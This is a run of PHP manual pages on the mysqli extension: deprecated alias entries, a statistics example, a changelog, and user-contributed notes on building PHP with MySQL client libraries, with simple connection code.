I had installed the binary version of MySQL 5 from MySQL AB. It installs everything in the default location /usr/local/mysql, which is fine. The MySQL version that comes with OS X ( v.4.x, depends on your OS X version ) installs the mysql_config help utility at /usr/bin/mysql_config. When php configs, it uses that one by default, inheritently using the wrong MySQL client libs.

No problem I thought, I just changed the --with-mysqli flag to --with-mysqli=/usr/local/mysql/bin/mysql_config ( or sudo find / -name mysql_config to find yours ). Nope, php throws a build error because it can't find the matching libraries. Hmmm...

So i tested /usr/local/mysql/bin/mysql_config --version, and I am shown my most current MySQL install. The problem is that the binary editions for OS X DO NOT include the shared libs ( libmysqlclient.dylib ). Oh no, I did not want to compile MySQL myself, not because I don't know how, but because MySQL AB does not recommend it, and for good reasons. Trust me, I've found out the hard way.

So what do you do? Download the source version of MySQL 5 that matches my binary version.

Configure MySQL:

./configure --enable-shared ( it's listed as ON as default, but I want to be sure )

Build MySQL:

make ( requires Developer Tools, but you knew that )

DO NOT make install !!! I repeat, DO NOT make install unless you really wish to overwrite your binary verions, which is not a good idea. ( You can configure MySQL with the --without-server flag, but I want to be certain I don't mess up )

Ok, almost done. Go to the lib directory in your MySQL build location and go to the invisible directory, .libs . There you will find your shared libraries, namely libmysqlclient.15.0.0.dylib.

Copy this to your /usr/local/mysql/lib directory. Now do the following from the lib directory:

ln -s libmysqlclient.15.0.0.dylib libmysqlclient.15.dylib
ln -s libmysqlclient.15.0.0.dylib libmysqlclient.dylib
mkdir mysql
cd mysql
ln -s ../libmysqlclient.15.0.0.dylib libmysqlclient.15.0.0.dylib
ln -s ../libmysqlclient.15.0.0.dylib libmysqlclient.15.dylib
ln -s ../libmysqlclient.15.0.0.dylib libmysqlclient.dylib

Now you can build your php with the correct library. After you build, check your phpinfo(); to validate the client version under the mysqli section. When I restarted Apache, it originally couldn't find my libraries, thus the /usr/local/mysql/lib/mysql directory.

Hope this helped.
arjen at mysql dot com 04-Aug-2005 10:26
John Coggeshall wrote a PHP5 ext/mysqli compatibility script for applications that still use the old ext/mysql functions. This prevents the hassle of trying to have both the mysql and mysqli extensions loaded in PHP5, which can be tricky.

The script is at:
http://www.coggeshall.org/oss/mysql2i/
Andrei Nazarenko 22-Feb-2005 08:21
If you are having trouble compiling PHP5 with MySQLi support on Linux and getting a message:
"configure: error: wrong mysql library version or lib not found"
and the config.log shows an error about -lnss_files being not found, here is the solution:

edit your mysql_config file and *REMOVE* all  "-lnss_files" AND "-lnss_dns" entries from it.
After that PHP should not complain anymore.
neil 10-Feb-2005 11:15
I have spent far too much time finding this answer:

Since PHP5 many many people are having installation problems.  I found many apps were broken when I upgraded to version 5.  I tried to install mysql and mysqli and had problems.

Here's the solution:

After doing:

 ./configure --with-mysql=/path/to/mysql_config --with-mysqli=/path/to/mysql_config

do this:

"
    if you want to use both the old mysql and the new mysqli interface, load the Makefile into your editor and search for the line beginning with EXTRA_LIBS; it includes -lmysqlclient twice; remove the second instance
"

then you can:

make
make install

......
Please note:  the mysql-dev must be installed or you won't have a mysql_config anywhere.  I installed the mysql-dev rpm

Further note:  the information about the Makefile's duplicate instances of "-libmysqlclient" came from Michael Kofler.  Thanks should be directed to him.  He gives more details at the following link:

http://www.kofler.cc/forum/forumthread.php?rootID=3571
php at arwin dot net 03-Feb-2005 12:32
For those having trouble compiling with both --with-mysql AND --with-mysqli, I found a solution at this URL:

http://bugs.php.net/bug.php?id=29860&edit=1

rjanson at msn dot com writes:

OK, finally an answer!

I checked Makefile and found the following line:

EXTRA_LIBS = -lcrypt -lcrypt -lmysqlclient -lpng -lz -lz -lresolv -lm
-ldl -lnsl -lxml2 -
lz -lm -lxml2 -lz -lm -lmysqlclient -lcrypt -lnsl -lm -lz -lnss_files
-lnss_dns -lresolv -lnss_files
 -lnss_dns -lresolv -lxml2 -lz -lm -lcrypt -lxml2 -lz -lm -lcrypt

By removing one of the -lmysqlclient entries on this line I was able to
successfully make and make install with both mysql and mysqli. As
confirmed by phpInfo().

I'm not sure why the other libs have multiple entries and don't cause
make to crash.
Yair Lapin 10-Nov-2004 04:28
I successed to install php support for a mysql 4.1.7 database after several attempts because the instructions are not clear.
I have a server with linux SuSe 9 enterprise with apache 1.3.31. I installed mysql from rpm files, i installed php 4.3.9 as dynamic library. this version database needs its own client library else the mysql functions in php will not work.
configuration must be as following:

./configure --with-msqli=/usr/bin/mysql_config --with-mysql=/usr  --with-apxs=/usr/local/apache/bin/apxs

 Must be installed in your machine the correct mysql librery:

MySQL-devel-4.1.7-0
MySQL-shared-4.1.7-0
nathansquires at pacbell dot net 13-Sep-2004 07:44
If you want to build php with both the Mysql and mysqli extensions, make sure your mysql distribution comes with shared libraries or build mysql yourself with shared libraries. With only static mysql libraries the compile process will fail.
severin dot kacianka at aon dot at 13-Aug-2004 12:55
I tryed Marco Kaiser's way of getting both mysql_* and mysqli_*, but it failed for me. However I could get it working this way:
First of all I installed the MySQL 4.1.3 binary disribution acourding to the manual. Then I simply passed these ./configure arguments:

--with-mysql=/path/to/mysql4.1.3
--with-mysqli=/path/to/mysql4.1.3/bin/mysql_config

This enabled both, the mysql_* and mysqli_* functions.

Severin Kacianka
philip 18-Jun-2004 12:51
A couple tutorials on the subject of mysqli:
* http://www.zend.com/php5/articles/php5-mysqli.php
* http://www.zend.com/php5/articles/php5-mysqli2.php
phoeniks[at]nm[dot]ru 08-Apr-2004 12:21
Here is a little sample to do fast hierarchical queries using new prepared statements

<?php
// Root - lowest start element
// Top  - most top element
// stack - array for storing info

function tree_rise($root, &$stack, $top = 0) {
  $mysqli = mysqli_connect('localhost', 'root');
  $top  = (int)$top;
  $stmt = mysqli_prepare($mysqli, "SELECT id, pid, title FROM news.strg WHERE id = ? LIMIT 1");
  mysqli_stmt_bind_param($stmt, "i", $root);
  mysqli_stmt_execute($stmt);
  mysqli_stmt_store_result($stmt);
  mysqli_bind_result($stmt, $id, $root, $title);

  while (mysqli_fetch($stmt)) {
    $stack[$id] = $title;
    if ($root != $top && !is_null($root)) {
      mysqli_stmt_execute($stmt);
      mysqli_stmt_store_result($stmt);
    }
  }
  return count($stack);
}
?>


Alias for mysqli_stmt_bind_param

  • « Aliases and deprecated Mysqli Functions
  • mysqli_bind_result »
  • PHP Manual
  • Aliases and deprecated Mysqli Functions
  • Alias for mysqli_stmt_bind_param

mysqli_bind_param

(PHP 5 < 5.4.0)

mysqli_bind_param — Alias for mysqli_stmt_bind_param()

Description

This function is an alias of mysqli_stmt_bind_param().

Warning

This function has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.

See Also

  • mysqli_stmt_bind_param() - Binds variables to a prepared statement as parameters

User Contributed Notes

There are no user contributed notes for this page.


Alias for mysqli_stmt_bind_result

  • « mysqli_bind_param
  • mysqli_client_encoding »
  • PHP Manual
  • Aliases and deprecated Mysqli Functions
  • Alias for mysqli_stmt_bind_result

mysqli_bind_result

(PHP 5 < 5.4.0)

mysqli_bind_result — Alias for mysqli_stmt_bind_result()

Description

This function is an alias of mysqli_stmt_bind_result().

Warning

This function has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.

See Also

  • mysqli_stmt_bind_result() - Binds variables to a prepared statement for result storage

User Contributed Notes

There are no user contributed notes for this page.


Alias of mysqli_character_set_name

  • « mysqli_bind_result
  • mysqli_connect »
  • PHP Manual
  • Aliases and deprecated Mysqli Functions
  • Alias of mysqli_character_set_name

mysqli_client_encoding

(PHP 5 < 5.4.0)

mysqli_client_encoding — Alias of mysqli_character_set_name()

Description

This function is an alias of mysqli_character_set_name().

Warning

This function has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.

See Also

  • mysqli_real_escape_string() - Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection

User Contributed Notes

There are no user contributed notes for this page.


Alias of mysqli::__construct

  • « mysqli_client_encoding
  • mysqli::disable_reads_from_master »
  • PHP Manual
  • Aliases and deprecated Mysqli Functions
  • Alias of mysqli::__construct

mysqli_connect

(PHP 5)

mysqli_connect — Alias of mysqli::__construct()

Description

This function is an alias of: mysqli::__construct()

User Contributed Notes

nick at little-apps dot com 04-Oct-2014 11:57
If you use mysqli_connect() and it fails to connect, it will return false and will not be a MySQLi object. Therefore, you will need to use the functions mysqli_connect_error() and/or mysqli_connect_errno() to get the error information.
sapioit at gmail dot com 10-May-2014 09:21
Because these functions are not so easy to use, at the beginning, there is a simple basic script, using 3 files, showing how mysqli basic functions are working:

<?php
# db.php

    $sql_login_host = "localhost"; # MySQL Host
    $sql_login_user = "test"; # MySql UserName
    $sql_login_pass = "test"; # MySql Password
    $sql_login_db = "jocdecarti"; # MySql Database

    define("sql_login_host",$sql_login_host);
    define("sql_login_user",$sql_login_user);
    define("sql_login_pass",$sql_login_pass);
    define("sql_login_db",$sql_login_db);

    $devmode = true; # show errors

?>

<?php
# functions.php
include ("db.php");

# show errors
ini_set('short_open_tag', true);
if ($devmode) {
    ini_set('display_errors', true); /*change to false in production mode */
    /* error_reporting(E_ALL); */
    error_reporting(E_ALL & ~E_NOTICE & ~E_WARNING);
} else {
    error_reporting(E_ALL ^E_NOTICE ^E_WARNING);
}

    # conectare la baza de date
    $con=mysqli_connect($sql_login_host, $sql_login_user, $sql_login_pass, $sql_login_db);
    if(!$con){
        die("Conectare imposibila: ".mysqli_error($con));
    }
    if (mysqli_connect_errno()) {
        die("Connect failed: ".mysqli_connect_errno()." : ". mysqli_connect_error());
    }
    # obtinere de rezultate din baza de date
    function db($sqlq){ # $sqlq = sql querry;
        global $con;
        if( !$sql=mysqli_query($con,$sqlq) ){
            die("Error:".mysqli_errno($sql).":".mysqli_error($sql)."</br>Query: ".$sqlq);
        } else {
            mysqli_free_result($sqlq);
            return $sql;
        }
    }

    # functii pentru prelucrarea datelor din functia db
    function sql_get_lines($sql){
        $sqlq=db($sql);
        $nr=0;
        $returned_array[][]=0;
        $returned_array[0][0]=mysqli_num_rows($sqlq);
        $returned_array[0][1]=mysqli_num_fields($sqlq);
        while($row=mysqli_fetch_row($sqlq)){
            $nr++;
            foreach ($row as $key => $value){
                $returned_array[$nr][$key+1]=$value;
            }
            echo "</br>";
        }
        mysqli_free_result($sqlq);
        return $returned_array;
    }

    function sql_get_fields($sql){
        $sqlq=db($sql);
        $nr=0;
        $returned_array[]=0;
        $returned_array[0]=mysqli_num_rows($sqlq);
        while($row=mysqli_fetch_row($sqlq)){
            $nr++;
            foreach ($row as $value){
                $returned_array[$nr]=$value;
            }
            echo "</br>";
        }
        mysqli_free_result($sqlq);
        return $returned_array;
    }
    function sql_get_value($sql){
        $sqlq=db($sql);
        $row=mysqli_fetch_row($sqlq);
        mysqli_free_result($sqlq);
        return $row[0];
    }
    function sql_value($sql){
        return sql_get_value($sql);
    }

    # functii pentru afisarea datelor din functiile anterioare
    function sql_print_lines($returned_array){
        for($i=1;$i<=$returned_array[0][0];$i++){
            for($j=1;$j<=$returned_array[0][1];$j++){
                printf("%s : %s |= %s</br>", $i, $j, $returned_array[$i][$j]);
            }
        }
    }
    function sql_print_fields($returned_array){
        for($i=1;$i<=$returned_array[0];$i++){
            printf("%s |= %s</br>", $i, $returned_array[$i]);
        }
    }

    # functii pentru afisarea directa din cod sql, folosind functiile anterioare
    function echo_sql_print_lines($sql){
        sql_print_lines(sql_get_lines($sql));
    }
    function echo_sql_print_fields($sql){
        sql_print_fields(sql_get_fields($sql));
    }

    function echo_sql_value($sql){
        echo sql_get_value($sql);
    }
    function sql_print_value($sql){
        echo sql_get_value($sql);
    }

?>

<?php
# test_functions.php
include ("functions.php");

    # show entire table
    $sql_querry="select * from multiplayer";
    sql_print_lines(sql_get_lines($sql_querry));
    echo_sql_print_lines($sql_querry);

    # show table row
    $sql_querry="select player2_hand from multiplayer";
    sql_print_fields(sql_get_fields($sql_querry));
    echo_sql_print_fields($sql_querry);

    # show first value returned
    $sql_querry="SELECT id FROM multiplayer WHERE id=1";
    echo sql_value($sql_querry);
    echo sql_get_value($sql_querry);
    echo_sql_value($sql_querry);
    sql_print_value($sql_querry);

mysqli_close($sql_link);

?>
dev dot render at gmail dot com 04-May-2014 06:11
<?php
//---abstracted ! ------
class connection{
    public $host ="yourHostIp";
    public $user = "UserName";
    public $password = "password";
    public $db="yourDatabase";
    public $dbc;

    function __construct() {
        $con = mysqli_connect($this->host, $this->user, $this->password, $this->db);

        if(mysqli_errno($con)){
            echo"sum error";

        }
        else{
           $this->dbc = $con; // assign $con to $dbc
           echo"connected ";
        }
    }
}

$test = new connection();
?>
Anonymous 08-Nov-2013 11:10
To @cerny dot venda at gmail dot com

You have an error in your grammar, It's "mysqli_fetch_array" and you have "mysqli_fecth_array".
david dot bleuse at outlook dot fr 20-Aug-2013 03:10
in the example it is written
mysqli_fe<b>ct</b>h_array
instead of
mysqli_fe<b>tc</b>h_array
cerny dot venda at gmail dot com 12-Aug-2013 03:01
Hi,

I tried this new way connection and it ended as mysql error.
So I changed "mysqli_fecth_array($result)" to "...fetch..." and now its ok. Is it your mistake, typing error?

Thank you
john at host2help dot com 15-Jul-2013 12:30
The above by djfenix_31_94 at hotmail dot com is excellent - but

$query = "SELECT name FROM mytable" or die("Error in the consult.." . mysqli_error($link));
# execute the query.
$result = $link->query($query);

This is wrong - the or die will never be called in the above. It should read:

$query = "SELECT name FROM mytable";
# execute the query.
$result = $link->query($query) or die("Error in the consult.." . mysqli_error($link));

it took me a few plays to see that, hope it saves someone else a few minutes.
in0mad91 at gmail dot com 14-Jul-2013 11:00
while($row = mysqli_fecth_array($result)) {
Need to be fixed to
while($row = mysqli_fetch_array($result)) {
djfenix_31_94 at hotmail dot com 13-Jul-2013 01:14
Simple connection to the database using this extension mysqli.
<?php
//conection:
$link = mysqli_connect("myhost","myuser","mypassw","mybd") or die("Error " . mysqli_error($link));

//consultation:

$query = "SELECT name FROM mytable" or die("Error in the consult.." . mysqli_error($link));

//execute the query.

$result = $link->query($query);

//display information:

while($row = mysqli_fetch_array($result)) {
  echo $row["name"] . "<br>";
}
?>

or

<?php
//conection:
$link = mysqli_connect("myhost","myuser","mypassw","mybd") or die("Error " . mysqli_error($link));

//consultation:

$query = "SELECT name FROM mytable" or die("Error in the consult.." . mysqli_error($link));

//execute the query.

$result = mysqli_query($link, $query);

//display information:

while($row = mysqli_fetch_array($result)) {
  echo $row["name"] . "<br>";
}
?>

Thanks by freddy alcarazo.


Disable reads from master

  • « mysqli_connect
  • mysqli_disable_rpl_parse »
  • PHP Manual
  • Aliases and deprecated Mysqli Functions
  • Disable reads from master

mysqli::disable_reads_from_master

mysqli_disable_reads_from_master

(PHP 5)

mysqli::disable_reads_from_master -- mysqli_disable_reads_from_master — Disable reads from master

Description

Object oriented style

void mysqli::disable_reads_from_master ( void )

Procedural style

bool mysqli_disable_reads_from_master ( mysqli $link )
Warning

This function is currently not documented; only its argument list is available.

Warning

This function has been DEPRECATED and REMOVED as of PHP 5.3.0.

User Contributed Notes

There are no user contributed notes for this page.


Disable RPL parse

  • « mysqli::disable_reads_from_master
  • mysqli_enable_reads_from_master »
  • PHP Manual
  • Aliases and deprecated Mysqli Functions
  • Disable RPL parse

mysqli_disable_rpl_parse

(PHP 5)

mysqli_disable_rpl_parse — Disable RPL parse

Description

bool mysqli_disable_rpl_parse ( mysqli $link )
Warning

This function is currently not documented; only its argument list is available.

Warning

This function has been DEPRECATED and REMOVED as of PHP 5.3.0.

User Contributed Notes

There are no user contributed notes for this page.


Enable reads from master

  • « mysqli_disable_rpl_parse
  • mysqli_enable_rpl_parse »
  • PHP Manual
  • Aliases and deprecated Mysqli Functions
  • Enable reads from master

mysqli_enable_reads_from_master

(PHP 5)

mysqli_enable_reads_from_master — Enable reads from master

Description

bool mysqli_enable_reads_from_master ( mysqli $link )
Warning

This function is currently not documented; only its argument list is available.

Warning

This function has been DEPRECATED and REMOVED as of PHP 5.3.0.

User Contributed Notes

There are no user contributed notes for this page.


Enable RPL parse

  • « mysqli_enable_reads_from_master
  • mysqli_escape_string »
  • PHP Manual
  • Aliases and deprecated Mysqli Functions
  • Enable RPL parse

mysqli_enable_rpl_parse

(PHP 5)

mysqli_enable_rpl_parse — Enable RPL parse

Description

bool mysqli_enable_rpl_parse ( mysqli $link )
Warning

This function is currently not documented; only its argument list is available.

Warning

This function has been DEPRECATED and REMOVED as of PHP 5.3.0.

User Contributed Notes

There are no user contributed notes for this page.


Alias of mysqli_real_escape_string

  • « mysqli_enable_rpl_parse
  • mysqli_execute »
  • PHP Manual
  • Aliases and deprecated Mysqli Functions
  • Alias of mysqli_real_escape_string

mysqli_escape_string

(PHP 5)

mysqli_escape_string — Alias of mysqli_real_escape_string()

Description

This function is an alias of: mysqli_real_escape_string().

User Contributed Notes

There are no user contributed notes for this page.


Alias for mysqli_stmt_execute

  • « mysqli_escape_string
  • mysqli_fetch »
  • PHP Manual
  • Aliases and deprecated Mysqli Functions
  • Alias for mysqli_stmt_execute

mysqli_execute

(PHP 5)

mysqli_execute — Alias for mysqli_stmt_execute()

Description

This function is an alias of mysqli_stmt_execute().

Notes

Note:

mysqli_execute() is deprecated and will be removed.

See Also

  • mysqli_stmt_execute() - Executes a prepared Query

User Contributed Notes

There are no user contributed notes for this page.


Alias for mysqli_stmt_fetch

  • « mysqli_execute
  • mysqli_get_cache_stats »
  • PHP Manual
  • Aliases and deprecated Mysqli Functions
  • Alias for mysqli_stmt_fetch

mysqli_fetch

(PHP 5 < 5.4.0)

mysqli_fetch — Alias for mysqli_stmt_fetch()

Description

This function is an alias of mysqli_stmt_fetch().

Warning

This function has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.

See Also

  • mysqli_stmt_fetch() - Fetch results from a prepared statement into the bound variables

User Contributed Notes

There are no user contributed notes for this page.


Returns client Zval cache statistics

  • « mysqli_fetch
  • mysqli_get_links_stats »
  • PHP Manual
  • Aliases and deprecated Mysqli Functions
  • Returns client Zval cache statistics

mysqli_get_cache_stats

(PHP 5 >= 5.3.0)

mysqli_get_cache_stats — Returns client Zval cache statistics

Description

array mysqli_get_cache_stats ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns client Zval cache statistics. Available only with mysqlnd.

Parameters

Return Values

Returns an array with client Zval cache stats if success, FALSE otherwise.

Examples

Example #1 A mysqli_get_cache_stats() example

<?php
$link = mysqli_connect();
print_r(mysqli_get_cache_stats());
?>

The above example will output something similar to:

Array
(
    [bytes_sent] => 43
    [bytes_received] => 80
    [packets_sent] => 1
    [packets_received] => 2
    [protocol_overhead_in] => 8
    [protocol_overhead_out] => 4
    [bytes_received_ok_packet] => 11
    [bytes_received_eof_packet] => 0
    [bytes_received_rset_header_packet] => 0
    [bytes_received_rset_field_meta_packet] => 0
    [bytes_received_rset_row_packet] => 0
    [bytes_received_prepare_response_packet] => 0
    [bytes_received_change_user_packet] => 0
    [packets_sent_command] => 0
    [packets_received_ok] => 1
    [packets_received_eof] => 0
    [packets_received_rset_header] => 0
    [packets_received_rset_field_meta] => 0
    [packets_received_rset_row] => 0
    [packets_received_prepare_response] => 0
    [packets_received_change_user] => 0
    [result_set_queries] => 0
    [non_result_set_queries] => 0
    [no_index_used] => 0
    [bad_index_used] => 0
    [slow_queries] => 0
    [buffered_sets] => 0
    [unbuffered_sets] => 0
    [ps_buffered_sets] => 0
    [ps_unbuffered_sets] => 0
    [flushed_normal_sets] => 0
    [flushed_ps_sets] => 0
    [ps_prepared_never_executed] => 0
    [ps_prepared_once_executed] => 0
    [rows_fetched_from_server_normal] => 0
    [rows_fetched_from_server_ps] => 0
    [rows_buffered_from_client_normal] => 0
    [rows_buffered_from_client_ps] => 0
    [rows_fetched_from_client_normal_buffered] => 0
    [rows_fetched_from_client_normal_unbuffered] => 0
    [rows_fetched_from_client_ps_buffered] => 0
    [rows_fetched_from_client_ps_unbuffered] => 0
    [rows_fetched_from_client_ps_cursor] => 0
    [rows_skipped_normal] => 0
    [rows_skipped_ps] => 0
    [copy_on_write_saved] => 0
    [copy_on_write_performed] => 0
    [command_buffer_too_small] => 0
    [connect_success] => 1
    [connect_failure] => 0
    [connection_reused] => 0
    [reconnect] => 0
    [pconnect_success] => 0
    [active_connections] => 1
    [active_persistent_connections] => 0
    [explicit_close] => 0
    [implicit_close] => 0
    [disconnect_close] => 0
    [in_middle_of_command_close] => 0
    [explicit_free_result] => 0
    [implicit_free_result] => 0
    [explicit_stmt_close] => 0
    [implicit_stmt_close] => 0
    [mem_emalloc_count] => 0
    [mem_emalloc_ammount] => 0
    [mem_ecalloc_count] => 0
    [mem_ecalloc_ammount] => 0
    [mem_erealloc_count] => 0
    [mem_erealloc_ammount] => 0
    [mem_efree_count] => 0
    [mem_malloc_count] => 0
    [mem_malloc_ammount] => 0
    [mem_calloc_count] => 0
    [mem_calloc_ammount] => 0
    [mem_realloc_count] => 0
    [mem_realloc_ammount] => 0
    [mem_free_count] => 0
    [proto_text_fetched_null] => 0
    [proto_text_fetched_bit] => 0
    [proto_text_fetched_tinyint] => 0
    [proto_text_fetched_short] => 0
    [proto_text_fetched_int24] => 0
    [proto_text_fetched_int] => 0
    [proto_text_fetched_bigint] => 0
    [proto_text_fetched_decimal] => 0
    [proto_text_fetched_float] => 0
    [proto_text_fetched_double] => 0
    [proto_text_fetched_date] => 0
    [proto_text_fetched_year] => 0
    [proto_text_fetched_time] => 0
    [proto_text_fetched_datetime] => 0
    [proto_text_fetched_timestamp] => 0
    [proto_text_fetched_string] => 0
    [proto_text_fetched_blob] => 0
    [proto_text_fetched_enum] => 0
    [proto_text_fetched_set] => 0
    [proto_text_fetched_geometry] => 0
    [proto_text_fetched_other] => 0
    [proto_binary_fetched_null] => 0
    [proto_binary_fetched_bit] => 0
    [proto_binary_fetched_tinyint] => 0
    [proto_binary_fetched_short] => 0
    [proto_binary_fetched_int24] => 0
    [proto_binary_fetched_int] => 0
    [proto_binary_fetched_bigint] => 0
    [proto_binary_fetched_decimal] => 0
    [proto_binary_fetched_float] => 0
    [proto_binary_fetched_double] => 0
    [proto_binary_fetched_date] => 0
    [proto_binary_fetched_year] => 0
    [proto_binary_fetched_time] => 0
    [proto_binary_fetched_datetime] => 0
    [proto_binary_fetched_timestamp] => 0
    [proto_binary_fetched_string] => 0
    [proto_binary_fetched_blob] => 0
    [proto_binary_fetched_enum] => 0
    [proto_binary_fetched_set] => 0
    [proto_binary_fetched_geometry] => 0
    [proto_binary_fetched_other] => 0
)

See Also

  • Stats description

User Contributed Notes

There are no user contributed notes for this page.


Return information about open and cached links

  • « mysqli_get_cache_stats
  • mysqli_get_metadata »
  • PHP Manual
  • Aliases and deprecated Mysqli Functions
  • Return information about open and cached links

mysqli_get_links_stats

(PHP 5 >= 5.6.0)

mysqli_get_links_stats — Return information about open and cached links

Description

array mysqli_get_links_stats ( void )

mysqli_get_links_stats() returns information about open and cached MySQL links.

Parameters

This function has no parameters.

Return Values

mysqli_get_links_stats() returns an associative array with three elements, keyed as follows:

total

An integer indicating the total number of open links in any state.

active_plinks

An integer representing the number of active persistent connections.

cached_plinks

An integer representing the number of inactive persistent connections.

User Contributed Notes

There are no user contributed notes for this page.


Alias for mysqli_stmt_result_metadata

  • « mysqli_get_links_stats
  • mysqli_master_query »
  • PHP Manual
  • Aliases and deprecated Mysqli Functions
  • Alias for mysqli_stmt_result_metadata

mysqli_get_metadata

(PHP 5 < 5.4.0)

mysqli_get_metadata — Alias for mysqli_stmt_result_metadata()

Description

This function is an alias of mysqli_stmt_result_metadata().

Warning

This function has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.

See Also

  • mysqli_stmt_result_metadata() - Returns result set metadata from a prepared statement

User Contributed Notes

There are no user contributed notes for this page.


Enforce execution of a query on the master in a master/slave setup

  • « mysqli_get_metadata
  • mysqli_param_count »
  • PHP Manual
  • Aliases and deprecated Mysqli Functions
  • Enforce execution of a query on the master in a master/slave setup

mysqli_master_query

(PHP 5)

mysqli_master_query — Enforce execution of a query on the master in a master/slave setup

Description

bool mysqli_master_query ( mysqli $link , string $query )
Warning

This function is currently not documented; only its argument list is available.

Warning

This function has been DEPRECATED and REMOVED as of PHP 5.3.0.

User Contributed Notes

There are no user contributed notes for this page.


Alias for mysqli_stmt_param_count

  • « mysqli_master_query
  • mysqli_report »
  • PHP Manual
  • Aliases and deprecated Mysqli Functions
  • Alias for mysqli_stmt_param_count

mysqli_param_count

(PHP 5 < 5.4.0)

mysqli_param_count — Alias for mysqli_stmt_param_count()

Description

This function is an alias of mysqli_stmt_param_count().

Warning

This function has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.

See Also

  • mysqli_stmt_param_count() - Returns the number of parameter for the given statement

User Contributed Notes

There are no user contributed notes for this page.


Alias of of mysqli_driver->report_mode

  • « mysqli_param_count
  • mysqli_rpl_parse_enabled »
  • PHP Manual
  • Aliases and deprecated Mysqli Functions
  • Alias of of mysqli_driver->report_mode

mysqli_report

(PHP 5)

mysqli_report — Alias of of mysqli_driver->report_mode

Description

This function is an alias of: mysqli_driver->report_mode

User Contributed Notes

Thomas 14-Aug-2012 02:47
Please note that mysqli_report is NOT deprecated (see https://bugs.php.net/bug.php?id=55329).
grepmaster 23-Mar-2009 02:51
Hint: If you use

mysqli_report(MYSQLI_REPORT_ALL ^ MYSQLI_REPORT_STRICT)

normal errors are generated instead of exceptions.
Polarina 11-Nov-2007 12:08
It should be noted that all reports made by this function, are sent through an exception named 'mysqli_sql_exception' instead of a normal PHP warning.
anthony dot parsons at manx dot net 06-Nov-2005 04:23
Be very careful using this function - it's a per-process setting.
If your server is set up to reuse a single PHP process for multiple requests, that means the last setting of this function in any script will affect all other scripts using mysqli.
To be safe always call <? mysqli_report(MYSQLI_REPORT_OFF) ?> at the end of a script. The CGI version of PHP is probably safe from this.

(Tested using PHP 5.0.5, Apache 2 SAPI module)


Check if RPL parse is enabled

  • « mysqli_report
  • mysqli_rpl_probe »
  • PHP Manual
  • Aliases and deprecated Mysqli Functions
  • Check if RPL parse is enabled

mysqli_rpl_parse_enabled

(PHP 5)

mysqli_rpl_parse_enabled — Check if RPL parse is enabled

Description

int mysqli_rpl_parse_enabled ( mysqli $link )
Warning

This function is currently not documented; only its argument list is available.

Warning

This function has been DEPRECATED and REMOVED as of PHP 5.3.0.

User Contributed Notes

There are no user contributed notes for this page.


RPL probe

  • « mysqli_rpl_parse_enabled
  • mysqli_send_long_data »
  • PHP Manual
  • Aliases and deprecated Mysqli Functions
  • RPL probe

mysqli_rpl_probe

(PHP 5)

mysqli_rpl_probe — RPL probe

Description

bool mysqli_rpl_probe ( mysqli $link )
Warning

This function is currently not documented; only its argument list is available.

Warning

This function has been DEPRECATED and REMOVED as of PHP 5.3.0.

User Contributed Notes

There are no user contributed notes for this page.


Alias for mysqli_stmt_send_long_data

  • « mysqli_rpl_probe
  • mysqli::set_opt »
  • PHP Manual
  • Aliases and deprecated Mysqli Functions
  • Alias for mysqli_stmt_send_long_data

mysqli_send_long_data

(PHP 5 < 5.4.0)

mysqli_send_long_data — Alias for mysqli_stmt_send_long_data()

Description

This function is an alias of mysqli_stmt_send_long_data().

Warning

This function has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.

See Also

  • mysqli_stmt_send_long_data() - Send data in blocks

User Contributed Notes

There are no user contributed notes for this page.


Alias of mysqli_options

  • « mysqli_send_long_data
  • mysqli_slave_query »
  • PHP Manual
  • Aliases and deprecated Mysqli Functions
  • Alias of mysqli_options

mysqli::set_opt

mysqli_set_opt

(PHP 5)

mysqli::set_opt -- mysqli_set_opt — Alias of mysqli_options()

Description

This function is an alias of mysqli_options().

User Contributed Notes

There are no user contributed notes for this page.


Force execution of a query on a slave in a master/slave setup

  • « mysqli::set_opt
  • Changelog »
  • PHP Manual
  • Aliases and deprecated Mysqli Functions
  • Force execution of a query on a slave in a master/slave setup

mysqli_slave_query

(PHP 5)

mysqli_slave_query — Force execution of a query on a slave in a master/slave setup

Description

bool mysqli_slave_query ( mysqli $link , string $query )
Warning

This function is currently not documented; only its argument list is available.

Warning

This function has been DEPRECATED and REMOVED as of PHP 5.3.0.

User Contributed Notes

There are no user contributed notes for this page.


Changelog

The following changes have been made to classes/functions/methods of this extension.

Version | Function | Description
5.5.0 | mysqli::commit | Added flags and name parameters.
 | mysqli::options | The MYSQLI_SERVER_PUBLIC_KEY option was added.
 | mysqli::rollback | Added flags and name parameters.
5.3.4 | mysqli_driver::$report_mode | Changing the reporting mode is now be per-request, rather than per-process.
5.3.0 | mysqli::__construct | Added the ability of persistent connections.
 | mysqli::query | Added the ability of async queries.
5.2.15 | mysqli_driver::$report_mode | Changing the reporting mode is now be per-request, rather than per-process.

User Contributed Notes

There are no user contributed notes for this page.


MySQL Native Driver

  • Introduction
  • Overview
  • Installation
  • Runtime Configuration
  • Incompatibilities
  • Persistent Connections
  • Statistics
  • Notes
  • Memory management
  • MySQL Native Driver Plugin API
    • A comparison of mysqlnd plugins with MySQL Proxy
    • Obtaining the mysqlnd plugin API
    • MySQL Native Driver Plugin Architecture
    • The mysqlnd plugin API
    • Getting started building a mysqlnd plugin

User Contributed Notes

juangiordana at gmail dot com 15-Jan-2011 02:55
Notice that since of PHP 5.3.0 there is no need to set 'default_socket_timeout to -1'.

"The MySQL Client Library sets a default timeout of 365 * 24 * 3600 seconds (1 year) and waits for other timeouts to occur, such as TCP/IP timeouts. mysqlnd now uses the same very long timeout."

http://www.php.net/mysqlnd.config.php#mysqlnd.net_read_timeout
koalay at gmail dot com 16-Sep-2009 07:53
For those who manually compiled MySQL, the default
 mysqlnd settings may results in error.
Your mysql_error() function may give you this message:

---------------------------
No such file or directory (trying to connect via unix:///tmp/mysql.sock)
---------------------------

This is because your manually compiled MySQL has its own place for socket.
You need to provide PHP a reference for an appropriate mysql socket.
